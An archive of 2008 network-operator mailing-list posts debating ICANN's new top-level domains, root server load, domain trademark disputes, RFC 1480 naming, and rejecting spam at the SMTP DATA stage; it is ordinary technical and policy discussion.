From mysidia at gmail.com Tue Jul 1 00:43:54 2008 From: mysidia at gmail.com (James Hess) Date: Tue, 1 Jul 2008 00:43:54 -0500 Subject: DNS and potential energy In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> Message-ID: <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> > I'm still having a hard time seeing what everyone is getting worked up about. Maybe it's not that bad. The eventual result is instead of having a billion .COM SLDs, there are a billion TLDs: all eggs in one basket, the root zone -- there will be so many gTLD servers, no DNS resolver can cache the gTLD server lookups, so almost every DNS query will now involve an additional request to the root, instead of (usually) a request to a TLD server (where in the past the TLD servers' IP would still be cached for most lookups). Ultimately that is a 1/3 increase in number of DNS requests, say to lookup www.example.com if there wasn't a cache hit. In that case, I would expect the increase in traffic seen by root servers to be massive. Possible technical ramifications that haven't been considered with the proper weight, and ICANN rushing ahead towards implementation in 2009 without having provided opportunity for internet & ops community input before developing such drastic plans? Massive further sell-out of the root zone (a public resource) for profit? Further commercialization of the DNS? Potentially giving some registrants advantageous treatment at the TLD level, which has usually been available to registrants on more equal terms?? [access to TLDs merely first-come, first-served] Vanity TLD space may make ".COM" seem boring. Visitors will expect names like "MYSITE.SHOES", and consider other sites like myshoestore1234.com "not-legitimate" or "not secure" The lucky organization who won the ICANN auction and got to run the SHOES TLD may price subdomains at $10000 minimum for a 1-year registration (annual auction-based renewal/registration in case of requests to register X.TLD by multiple entities) and registrants under vanity TLD to sign non-compete agreements and other pernicious EULAs and contracts of adhesion merely to be able to put up their web site, As a subdomain of what _LOOKS_ like a generic name. And, of course, http://shoes/ reserved for the TLD registrant's billion-$ shoe store, with DNS registration a side-business (outsourced to some DNS registrar using some "domain SLD resale" service). The possibilities that vanity TLD registry opens are more insidious than it was for someone to bag a good second-level domain. > Sure, nefarious use of say .local could cause a few problems but this is I'd be more concerned about nefarious use of a TLD like ".DLL", ".EXE", ".TXT" Or other domains that look like filenames. Seeing as a certain popular operating system confounds local file access via Explorer with internet access... You may think "abcd.png" is an image on your computer... but if you type that into your address, er, location bar, it may be a website too! ".local" seems like a pretty good TLD name to be registered, compared to others, even many that have been established or proposed in the past, more general than ".city" (unincorporated areas with some sort of name also can use .local) short, general and simple (just like a gTLD should be), not highly-specific and elaborate like ".museum" -- -J From jeroen at unfix.org Tue Jul 1 04:54:46 2008 From: jeroen at unfix.org (Jeroen Massar) Date: Tue, 01 Jul 2008 11:54:46 +0200 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> Message-ID: <4869FEE6.8070505@spaghetti.zurich.ibm.com> Chris Owen wrote > It is because, if someone reports (by telephone, IRC or IRL) that he > sent an email and I did not receive it, I regard as VERY IMPORTANT to > be able to check the spam folder (with a search tool, not by hand) and > go back to him saying "No, we really did not receive it". The magic keyword: REJECT-ON-SMTP-DATA. Aka during the "DATA" phase of the email, also directly scan it, then when the spam/virus tool thinks it is spam/virus, you just reject it. This solves a couple of things in one go: - You don't have to handle bounces if you would send a bounce back to the sender "hey you had a spam/virus" because you already accepted the mail, thus less overhead at least there - The sending SMTP server will send a bounce back to the sender. The sender thus gets a SMTP rejection mail, with the rejection reason and knows that you didn't accept the message and why. They can then opt to change the content of the mail or contact you differently. - No more 'spam' folder, as the stuff that is spam is already rejected. You might get a few mails through that are actually spam, but this is mostly marginal. This thus solves completely that email "gets lost". Also note that if a virus/bot or something else silly is trying to send these mails it either has to handle the bounces, which they generally (afaik ;) don't, thus the faked sender doesn't get a swamp of failed deliveries either. This is a Win-Win situation in my ears. Unfortunately there is also a side-effect, partially, one has to have all inbound servers use this trick, and it might be that they need to be a bit heavier to process and scan all that mail. Then again, you can better let sending SMTP servers queue a bit (or throttle them) then having to process them anyway later. Of course not all mail platforms can be fitted in this way, but people who have such systems probably already have other ways to handle things. For the excellent Spamassassin, read: http://wiki.apache.org/spamassassin/IntegratedInMta The 'milter' options (originally sendmail, but nowadays also available for other mailers) can do this for you. Other anti-spam tools might also be able to do similar things. YMMV. Oh and of course as a access-ISP, one should also employ this trick to the customers, that way they know that they are sending spam ;) Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From lists at internetpolicyagency.com Tue Jul 1 05:58:36 2008 From: lists at internetpolicyagency.com (Roland Perry) Date: Tue, 1 Jul 2008 11:58:36 +0100 Subject: what problem are we solving? (was Re: ICANN opens up Pandora's Box of new TLDs) In-Reply-To: <20080630210640.GH8195@cgi.jachomes.com> References: <171423de0806271024h73e9a181t1df338aa5fe84ef5@mail.gmail.com> <4D0B482D-8FD5-48A5-9FF6-C2011AA7ACB5@virtualized.org> <20080628035954.BC78F213C3@spunkymail-a9.g.dreamhost.com> <4C0790EA-33E5-43F2-B281-215A0B37AE4F@virtualized.org> <20080630210640.GH8195@cgi.jachomes.com> Message-ID: In article <20080630210640.GH8195 at cgi.jachomes.com>, Jay R. Ashworth writes >Could someone, anyone, anywhere, point me to *any case law in any >jurisdiction whatsoever* which tends even to *suggest* that the mere >purchase and deployment of a domain name *in itself* in any way >constitutes infringement upon the rights of some holder of a trademark >to some component of that domain name? Several at this website, I recommend starting with the "MARKSANDSPENCER.COM" case (as I remember it taking place). http://www.domainhandbook.com/dd2.html -- Roland Perry From lists at internetpolicyagency.com Tue Jul 1 06:04:57 2008 From: lists at internetpolicyagency.com (Roland Perry) Date: Tue, 1 Jul 2008 12:04:57 +0100 Subject: what problem are we solving? (was Re: ICANN opens up Pandora's Box of In-Reply-To: <20080630212216.GJ8195@cgi.jachomes.com> References: <171423de0806271024h73e9a181t1df338aa5fe84ef5@mail.gmail.com> <200806281346.m5SDkX9b094171@aurora.sol.net> <20080630212216.GJ8195@cgi.jachomes.com> Message-ID: In article <20080630212216.GJ8195 at cgi.jachomes.com>, Jay R. Ashworth writes >The Domain Name System is not now, and never has been, away to *find* >things, anymore than 123 Elm St, Worcester MA is a way to *find* a >house. What about "1 Microsoft Way, Redmond, WA" ? -- Roland Perry From bmanning at vacation.karoshi.com Tue Jul 1 06:27:59 2008 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Tue, 1 Jul 2008 11:27:59 +0000 Subject: DNS and potential energy In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> Message-ID: <20080701112759.GA32718@vacation.karoshi.com.> On Mon, Jun 30, 2008 at 07:19:45PM +0100, Tony Finch wrote: > On Sun, 29 Jun 2008, bmanning at vacation.karoshi.com wrote: > > > > one might legitimately argue that ICANN is in need of > > some serious regulation.... > > > > that can happen at that national level or on the international > > level. > > Doesn't ICANN already work like an international regulator? > > Tony. Yes they do. And out of the other side of their mouth, they deny they are a regulator. --bill From bortzmeyer at nic.fr Tue Jul 1 06:54:23 2008 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Tue, 1 Jul 2008 13:54:23 +0200 Subject: ICANN opens up Pandora's Box of new TLDs In-Reply-To: References: <20080627203205.51B612B7C02@mx5.roble.com> <20080629195709.GA1569@sources.org> Message-ID: <20080701115423.GA12890@nic.fr> On Mon, Jun 30, 2008 at 06:36:06PM +0100, Tony Finch wrote a message of 15 lines which said: > It makes the "public suffix list" project harder, but so long as the > list of TLDs changes reasonably slowly, it shouldn't become > impossible. http://publicsuffix.org/ Well, this list is a bad workaround for cookies specification problems and bad programming practices, so I'm not too concerned if it is perturbed. From drc at virtualized.org Tue Jul 1 08:08:43 2008 From: drc at virtualized.org (David Conrad) Date: Tue, 1 Jul 2008 06:08:43 -0700 Subject: TLDs and file extensions (Re: DNS and potential energy) In-Reply-To: <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: On Jun 30, 2008, at 10:43 PM, James Hess wrote: >> Sure, nefarious use of say .local could cause a few problems but >> this is > > I'd be more concerned about nefarious use of a TLD like ".DLL", > ".EXE", ".TXT" > Or other domains that look like filenames. Like .INFO, .PL, .SH, and, of course, .COM? People keep making the assertion that top-level domains that have the same strings as popular file extensions will be a 'security disaster', but I've yet to see an explanation of the potential exploits. I could maybe see a problem with ".LOCAL" due to mdns or llmnr or ".1" due to the risk of someone registering "127.0.0.1", but I've yet to see any significant risk increase if (say) the .EXE TLD were created. Can someone explain (this is a serious question)? > Seeing as a certain popular operating system confounds local file > access via > Explorer with internet access... I gather you're implying MS Windows does this? > You may think "abcd.png" is an image on your computer... but if you > type that into your address, er, location bar, it may be a website > too! Is there a browser (Internet Explorer? I don't run Windows) that looks on the local file system if you don't specify 'file://'? Wouldn't that sort of annoy the folks who run (say) help.com? Regards, -drc From tme at multicasttech.com Tue Jul 1 08:32:00 2008 From: tme at multicasttech.com (Marshall Eubanks) Date: Tue, 1 Jul 2008 09:32:00 -0400 Subject: DNS and potential energy In-Reply-To: <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: <7840C7AD-3E51-4F74-8E2C-03A4AFB943FF@multicasttech.com> On Jul 1, 2008, at 1:43 AM, James Hess wrote: >> I'm still having a hard time seeing what everyone is getting worked >> up about. > > Maybe it's not that bad. The eventual result is instead of having a > billion .COM SLDs, there are a billion TLDs: all eggs in one basket, There is the question of the fee structure. If the fee is really > $ 100,000 USD, then this will damp down the numbers considerably. Here is a way to estimate this - by my estimate, there are something like 1 million worldwide companies with revenues > $ 5 million USD / yr. The companies I have dealt with making ~ $ 5 million / year are hesitant to spend $ 100 K on _anything_, but maybe TLDs will be seen as the thing to have. So, I could imagine 1 million TLDs at this price level, maybe, but not many more, and maybe substantially less. How many .com domains are there ? I have a _2001_ report of 19 million. I would guess maybe 50 million by now. Would adding 1 million TLDs really be worse for the DNS system than 50 or 100 million dot com domains ? Of course, this depends on the crucial question of the fee. If it drops to $ 100 USD, then I could certainly imagine a similar number to the number of dot com domains, i.e., many millions. This seems like a good place to ask if any of that ICANN money is going to the root domains... > > the root zone -- there will be so many gTLD servers, no DNS resolver > can cache the gTLD server lookups, so almost every DNS query will now > involve an additional request to the root, instead of (usually) a > request to a TLD server (where in the past the TLD servers' IP would > still be cached for most lookups). > > Ultimately that is a 1/3 increase in number of DNS requests, say to > lookup www.example.com > if there wasn't a cache hit. In that case, I would expect the > increase in traffic seen by root servers to be massive. > > > > Possible technical ramifications that haven't been considered with > the proper weight, > and ICANN rushing ahead towards implementation in 2009 without > having provided > opportunity for internet & ops community input before developing such > drastic plans? > > > Massive further sell-out of the root zone (a public resource) for > profit? Further > commercialization of the DNS? Potentially giving some registrants > advantageous treatment at the TLD level, which has usually been > available to registrants on more equal terms?? > [access to TLDs merely first-come, first-served] > > Vanity TLD space may make ".COM" seem boring. Visitors will expect > names like > "MYSITE.SHOES", and consider other sites like myshoestore1234.com > "not-legitimate" > or "not secure" I personally doubt it, for the same reason that there is shoes.com but not nike.shoes.com. To me, the notion that people will find the shoes they want on the web by starting at http://www.shoes seems archaic, very 1995. What there may be is a raft of trademark lawsuits - for example, Shoes.com, Inc. a subsidiary of Brown Shoe Company (NYSE:BWS) presumably has some sort of trademark rights to "shoes.com". Nobody has rights to "shoes," so expect some fights here (as a potential example, between the future owners of "shoes" and companies like Nike, and maybe also shoes.com. IANAL, but I suspect that Brown Show might be able to claim that ".Shoes" might infringe on the "shoes.com" mark). Regards Marshall > > > > The lucky organization who won the ICANN auction and got to run the > SHOES TLD may price subdomains at $10000 minimum for a 1-year > registration (annual auction-based renewal/registration in case of > requests to register X.TLD by multiple entities) and registrants under > vanity TLD to sign non-compete agreements and other pernicious > EULAs and contracts of adhesion merely to be able to put up their web > site, > > As a subdomain of what _LOOKS_ like a generic name. > > > And, of course, http://shoes/ reserved for the TLD registrant's > billion-$ shoe store, > with DNS registration a side-business (outsourced to some DNS > registrar using some "domain SLD resale" service). > > > The possibilities that vanity TLD registry opens are more insidious > than it was for someone to bag a good second-level domain. > > > >> Sure, nefarious use of say .local could cause a few problems but >> this is > > I'd be more concerned about nefarious use of a TLD like ".DLL", > ".EXE", ".TXT" > Or other domains that look like filenames. > > Seeing as a certain popular operating system confounds local file > access via > Explorer with internet access... > > You may think "abcd.png" is an image on your computer... but if you > type that into your > address, er, location bar, it may be a website too! > > > > > ".local" seems like a pretty good TLD name to be registered, > compared to others, > even many that have been established or proposed in the past, more > general > than ".city" (unincorporated areas with some sort of name also can > use .local) > > short, general and simple (just like a gTLD should be), > > > not highly-specific and elaborate like ".museum" > > > > -- > -J > From jra at baylink.com Tue Jul 1 08:45:39 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 09:45:39 -0400 Subject: what problem are we solving? (was Re: ICANN opens up Pandora's Box of new TLDs) In-Reply-To: <4869517D.6040507@altzman.com> References: <4D0B482D-8FD5-48A5-9FF6-C2011AA7ACB5@virtualized.org> <20080628035954.BC78F213C3@spunkymail-a9.g.dreamhost.com> <4C0790EA-33E5-43F2-B281-215A0B37AE4F@virtualized.org> <20080630210640.GH8195@cgi.jachomes.com> <48694CEC.2090903@altzman.com> <20080630212720.GL8195@cgi.jachomes.com> <4869517D.6040507@altzman.com> Message-ID: <20080701134539.GB19135@cgi.jachomes.com> [ back on list ] On Mon, Jun 30, 2008 at 05:34:53PM -0400, Jerry B. Altzman wrote: > There was a HUGE one about that domain name between Nissan Motors and > some computer consultant named Nissan (a Hebrew name) in NC. > vis http://www.nissan.com/Lawsuit/The_Story.php > I don't know exactly how to quote the ruling and decision. Nissan Motor > Co. Ltd v. Nissan Computer Corp Yeah, I vaguely remembered it after you mentioned it. A quick look at the website would imply that he won, which rather makes my point, no? :-) The September ruling speaks directly to my assertion that the mere existence of a mark in a domain name doesn't constitute infringement. The methods by which you can infringe a trademark are pretty bright-line... Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From jgreco at ns.sol.net Tue Jul 1 08:59:35 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Tue, 1 Jul 2008 08:59:35 -0500 (CDT) Subject: what problem are we solving? (was Re: ICANN opens up Pandora's In-Reply-To: <20080701134539.GB19135@cgi.jachomes.com> from "Jay R. Ashworth" at Jul 01, 2008 09:45:39 AM Message-ID: <200807011359.m61DxZg3095926@aurora.sol.net> > > vis http://www.nissan.com/Lawsuit/The_Story.php > > Yeah, I vaguely remembered it after you mentioned it. > > A quick look at the website would imply that he won, which rather makes > my point, no? :-) No. He hasn't won. He's out a large amount of money defending against this, AND Nissan Motors is now pursuing a trademark registration for computing services, and we can imagine that there might be "another round" coming. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jra at baylink.com Tue Jul 1 09:05:37 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 10:05:37 -0400 Subject: RFC 1480 - does it generalize (was What Problem; was ICANN/Pandora) In-Reply-To: <200807010140.m611eFic008996@aurora.sol.net> References: <20080630212216.GJ8195@cgi.jachomes.com> <200807010140.m611eFic008996@aurora.sol.net> Message-ID: <20080701140537.GD19135@cgi.jachomes.com> On Mon, Jun 30, 2008 at 08:40:15PM -0500, Joe Greco wrote: > > On Sat, Jun 28, 2008 at 08:46:33AM -0500, Joe Greco wrote: > > > Yes. It completely marginalizes the remaining positive qualities of the > > > Domain Name System as a way to find things, in the name of giving people > > > "more options." > > > > The Domain Name System is not now, and never has been, away to *find* > > things, anymore than 123 Elm St, Worcester MA is a way to *find* a > > house. > > > > It's a way to *denote* things, uniquely. > > > > You *find* an address by looking in a map directory, and then on the > > map. You find things on the Internet using a search engine, and the > > second-order derivatives. > > It seems clear that the authors of 1480 did not agree with this. This may > have been because there were no "search engines", as we know them today, at > that time. Possibly. But the inference I draw from the fact that they only specify really deep structure for things which are municipal and related such items, is that they were trying to provide for the delegation of reputation that I allude to later. > > > In others, it's ridiculous - why the heck do I get someplace in California > > > when I go to "martyspizza.com", rather than our local very excellent pizza > > > place? (sadly this example is less effective now, they managed to get > > > "martyspizza.net" a few years back). > > > > Sure. Local collisions are inevitable. Blocker Transfer, a local > > moving company client of mine, wanted to register a domain back in > > 1997... when the company was 99 years old. blocker.com was taken. > > > > They took blocker100.com, and promoted it. > > That doesn't seem to be a "local collision," except insofar as the Internet > can be collectively considered "local." In any case, company's solution is > only useful if you already know the domain name (or have a way to find it). Which is true of *anyone's* domain name in the DNS as we currently know it. But it could just as easily have been true here: if I was Westshore Pizza (a local chain with 26 stores in about 15 cities), would people look for -- well, I'll expand it to the top level that's pertinent -- westshorepizza.pinellas.fl.us or westshorepizza.hillsborough.fl.us or both? Trying to shoehorn geography into the DNS *too deeply* works only for things which are unique and not ever moving, like city and county governments and agencies and schools. I don't think it's necessarily reasonable to assume that the authors of 1480 intended that scheme to be applicable generally to all domains. We can't ask Jon, but I have carboned Ann Cooper; perhaps she'll have some interesting input to put in. :-) > > > We never had any business allowing small, local businesses to > > > register in .com, or non-networking companies to register in .net, > > > or non-organizations in .org... but a whole generation of Internet > > > "professionals" "knew better" and the end result at the end of > > > the road is that DNS will end up being almost as useless as IPv4 > > > numbers for identifying the more obscure bits of the Internet. > > Correct; this is exactly the problem. But a lot of it stems, Joe, from > > the misconception you led with. > > Not a misconception. Simply a different view of how the system could have > evolved, had it followed the lead of RFC1480, instead of having everyone > and their brother load on in to .com... > > It could be said that search engines doomed any hope of trying to make the > DNS sensible. Perhaps. But I've been on the net almost as long as DNS: got my first Usenet account in 1983 and still remember the day I stopped being able to read the entire feed. (Well, the entire feed SPJC got over our 1200 baud modem that ran continuously. :-) I think that DNS started to break well before Alta Vista showed up. > > > I look forward to many more years of having to remember that Marty's > > > Pizza is "martyspizza.net" instead of "martyspizza.brookfield.wi.us", > > > that Milwaukee's Department of Public Works is at "mpw.net" instead of > > > "dpw.ci.milwaukee.wi.us", etc. > > > > I am, in turn, very pleased with a lot of my local municipalities. > > > > Some of them, admittedly, *have* silly pinellascounty.org or > > pinellas-park.com names, but they also answer to the long-form .fl.us > > names you would prefer. Sometimes they redirect one way, sometimes the > > other; sometimes each domain merely overlays the other. > > That's fine, I have been wishing for DNAME support for years. Locally, in > the pre-1480 days, we were "mil.wi.us", then became "milwaukee.wi.us", but > only through the magic of duplicating everything between the zones, and in > the more recent "delegate elsewhere" model, that means that some registrants > invariably only configure one or the other, so "foo.mil.wi.us" works while > "foo.milwaukee.wi.us" doesn't... In fact, the Hillsborough County Sheriff's office has hcso.hillsborough.fl.us on the back of the cars, bless them. That's a really *strong-minded* IT director; I ought to find him and shake his hand. Do we have RFC 1480-Champion badges somewhere? > > But at least they are, as you say, deterministic. > > > > I don't think it's fixable anymore, either. But I remain determined to > > spit into the wind, Jim notwithstanding. > > :-) I decline to mess with the old Lone Ranger, though. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From jra at baylink.com Tue Jul 1 09:13:08 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 10:13:08 -0400 Subject: DNS and potential energy In-Reply-To: References: Message-ID: <20080701141308.GE19135@cgi.jachomes.com> On Tue, Jul 01, 2008 at 04:01:34AM -0000, Martin Hannigan wrote: > > Doesn't ICANN already work like an international regulator? > > No. They are more like the IETF than the ITU, but not quite the IETF. > It's hard to describe. The origins are Berkman Center for Internet > and Soceity at Harvard, and what is in existence today is a far > cry from the original social desire of folks that are still there > today who, based on my knowledge and perception, have been mostly > disenfranchised. > > But not quite a regulator. They're sort of like Telcordia, formerly Bellcore, in my perception: they promulgate standards that everyone follows... because everyone needs some standards to follow. Clearly, they do not have the force of regulations, or we wouldn't have people operating root zones with things in them which aren't sanctioned by ICANN ('sanctioned'. Another one of those auto-antonymic words I love, like 'academic'... :-)[1]. Cheers, -- jra [1] Don't assume from that that I'm anti-expanded-root[2] [2] Please don't start this R-war on this list again. :-) -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From owenc at hubris.net Tue Jul 1 09:28:02 2008 From: owenc at hubris.net (Chris Owen) Date: Tue, 1 Jul 2008 09:28:02 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <4869FEE6.8070505@spaghetti.zurich.ibm.com> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> Message-ID: <013D9C7B-D4AF-4703-A351-D5F3A5DF4ECD@hubris.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Jul 1, 2008, at 4:54 AM, Jeroen Massar wrote: > Chris Owen wrote I did not write this FYI. >> It is because, if someone reports (by telephone, IRC or IRL) that he >> sent an email and I did not receive it, I regard as VERY IMPORTANT to >> be able to check the spam folder (with a search tool, not by hand) >> and >> go back to him saying "No, we really did not receive it". > > The magic keyword: REJECT-ON-SMTP-DATA. > > Aka during the "DATA" phase of the email, also directly scan it, > then when the spam/virus tool thinks it is spam/virus, you just > reject it. > > This solves a couple of things in one go: > > - No more 'spam' folder, as the stuff that is spam is already > rejected. > You might get a few mails through that are actually spam, but this > is > mostly marginal. The lack of a spam folder is one of the problems with such a solution. Having a middle ground quarantine is actually quite nice. However, the biggest problem is these solutions are global in nature. We let individual customers considerable control over the process. They can each set their own block and quarantine levels, configure their own white and blacklists and even turn the spam controls completely off. For various reasons none of that would be possible with this solution and all the implementations you link to all run with a single global configuration. Chris ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Chris Owen ~ Garden City (620) 275-1900 ~ Lottery (noun): President ~ Wichita (316) 858-3000 ~ A stupidity tax Hubris Communications Inc www.hubris.net ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAkhqPvIACgkQElUlCLUT2d2nTQCfVq/dXvpBSVZnbgMyblgwhSp2 hD8AoIBxoz9UupxznPpZ9cC4FJ6fMc1y =Ze+j -----END PGP SIGNATURE----- From rob at pickering.org Tue Jul 1 09:28:56 2008 From: rob at pickering.org (Rob Pickering) Date: Tue, 01 Jul 2008 15:28:56 +0100 Subject: DNS and potential energy Message-ID: > > Maybe it's not that bad. The eventual result is instead of having > a billion .COM SLDs, there are a billion TLDs: all eggs in one There are simply not going to me billions, millions, or even probably tens of thousands of TLDs as a result of this. It's still a complex several months long administrative process that costs some multiple of $100,000. As far as I can work out, minus the press noise, the difference is that creating a TLD will take half a year rather than half a decade or more. > basket, the root zone -- there will be so many gTLD servers, no DNS > resolver can cache the gTLD server lookups, so almost every DNS > query will now involve an additional request to the root, instead > of (usually) a request to a TLD server (where in the past the TLD > servers' IP would still be cached for most lookups). Maybe, maybe not. > Ultimately that is a 1/3 increase in number of DNS requests, say > to lookup www.example.com > if there wasn't a cache hit. In that case, I would expect the > increase in traffic seen by root servers to be massive. There will probably be a significant increase if there is a very wide takeup of new TLDs, yes. Conversely load on some of the existing gTLD servers may decrease if the number of domains in active use is spread across a larger number of independent TLDs. > Possible technical ramifications that haven't been considered with > the proper weight, > and ICANN rushing ahead towards implementation in 2009 without > having provided opportunity for internet & ops community input > before developing such drastic plans? > Massive further sell-out of the root zone (a public resource) for > profit? Further > commercialization of the DNS? Potentially giving some registrants > advantageous treatment at the TLD level, which has usually been > available to registrants on more equal terms?? > [access to TLDs merely first-come, first-served] Don't think that is operational and in any case the current system is weighted towards entities who have had domains for eons when they were able to be the first comers, it's very unfair and unequal in the sense that it works against the interests of newer registrants. Definitely not operational though. > Vanity TLD space may make ".COM" seem boring. Visitors will expect > names like > "MYSITE.SHOES", and consider other sites like myshoestore1234.com > "not-legitimate" > or "not secure" > > > The lucky organization who won the ICANN auction and got to run the > SHOES TLD may price subdomains at $10000 minimum for a 1-year > registration (annual auction-based renewal/registration in case of > requests to register X.TLD by multiple entities) and registrants > under vanity TLD to sign non-compete agreements and other > pernicious EULAs and contracts of adhesion merely to be able to put > up their web site, > > As a subdomain of what _LOOKS_ like a generic name. > > > And, of course, http://shoes/ reserved for the TLD registrant's > billion-$ shoe store, > with DNS registration a side-business (outsourced to some DNS > registrar using some "domain SLD resale" service). The operational issue is? Actually your shoe shop still now has a greater number of choices (.com or .shoes) and I can bet that if your scenario comes to pass with a very aggressive and restrictive registrar of .shoes, some enterprising soul will register .boots, .sneakers or .shoeshop etc to make their living on those parts of the market that don't like .shoes policies. > The possibilities that vanity TLD registry opens are more insidious > than it was for someone to bag a good second-level domain. Questionable and certainly not operational. > > > >> Sure, nefarious use of say .local could cause a few problems but >> this is > > I'd be more concerned about nefarious use of a TLD like ".DLL", > ".EXE", ".TXT" Or other domains that look like filenames. Or .com. Oddly enough I just now found a Windows box and typed "command.com" in a browser URL bar and it did what I expected, when I typed the same thing at a cmd prompt it did something different and I expected that too. > Seeing as a certain popular operating system confounds local file > access via Explorer with internet access... > You may think "abcd.png" is an image on your computer... but if you > type that into your > address, er, location bar, it may be a website too! To the extent that possibility already exists, there is a reason that web URIs have both a host and path component. I don't see why new TLDs substantially change this. If applications insist on confusing the two then bad things will always happen but that is an app issue. -- Rob. From michael.dillon at bt.com Tue Jul 1 09:30:51 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Tue, 1 Jul 2008 15:30:51 +0100 Subject: TLDs and file extensions (Re: DNS and potential energy) In-Reply-To: Message-ID: > People keep making the assertion that top-level domains that > have the same strings as popular file extensions will be a > 'security disaster', but I've yet to see an explanation of > the potential exploits. I could maybe see a problem with > ".LOCAL" due to mdns or llmnr or ".1" due to the risk of > someone registering "127.0.0.1", but I've yet to see any > significant risk increase if (say) the .EXE TLD were created. > Can someone explain (this is a serious question)? Many years ago there was a wonderful web browser named Lynx. It could do all kinds of nifty things and you could build an entire information systems interface with it, including things like a menu that allowed you to select an executable program that would be run on the same remote system that was running Lynx. People who lived through this era have a vague memory that executables and URLs are in sort of the same namespace. Of course that's not true because executable files are referred to as lynxexec:script.pl instead of http://script.pl > > Seeing as a certain popular operating system confounds local file > > access via Explorer with internet access... > > I gather you're implying MS Windows does this? Not mine. --Michael Dillon From jra at baylink.com Tue Jul 1 10:04:31 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 11:04:31 -0400 Subject: Mail Server best practices - was: Pandora's Box of new TLDs In-Reply-To: <20080629145507.D40D72B7C00@mx5.roble.com> References: <20080629145507.D40D72B7C00@mx5.roble.com> Message-ID: <20080701150431.GJ19135@cgi.jachomes.com> On Sun, Jun 29, 2008 at 07:55:07AM -0700, Roger Marquis wrote: > Backscatter / NDNs are another issue. In practice they are no longer > feasible without assurance that the sender is both valid and legitimate. > Bounces without these validations are usually spam and will get your server > blacklisted. A fine point that I don't see mentioned much is that REJECT-ON-SMTP-DATA has the nice side effect that if it's real mail, the *sender's* MTA will generate their bounce for them, and if it's a spammer, they'll ignore it. So you get the best of both worlds, which seems an excellent reason to go through the effort of setting it up that way. Cheers, - jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From dot at dotat.at Tue Jul 1 10:29:33 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 1 Jul 2008 16:29:33 +0100 Subject: ICANN opens up Pandora's Box of new TLDs In-Reply-To: <20080701115423.GA12890@nic.fr> References: <20080627203205.51B612B7C02@mx5.roble.com> <20080629195709.GA1569@sources.org> <20080701115423.GA12890@nic.fr> Message-ID: On Tue, 1 Jul 2008, Stephane Bortzmeyer wrote: > On Mon, Jun 30, 2008 at 06:36:06PM +0100, > Tony Finch wrote > a message of 15 lines which said: > > > It makes the "public suffix list" project harder, but so long as the > > list of TLDs changes reasonably slowly, it 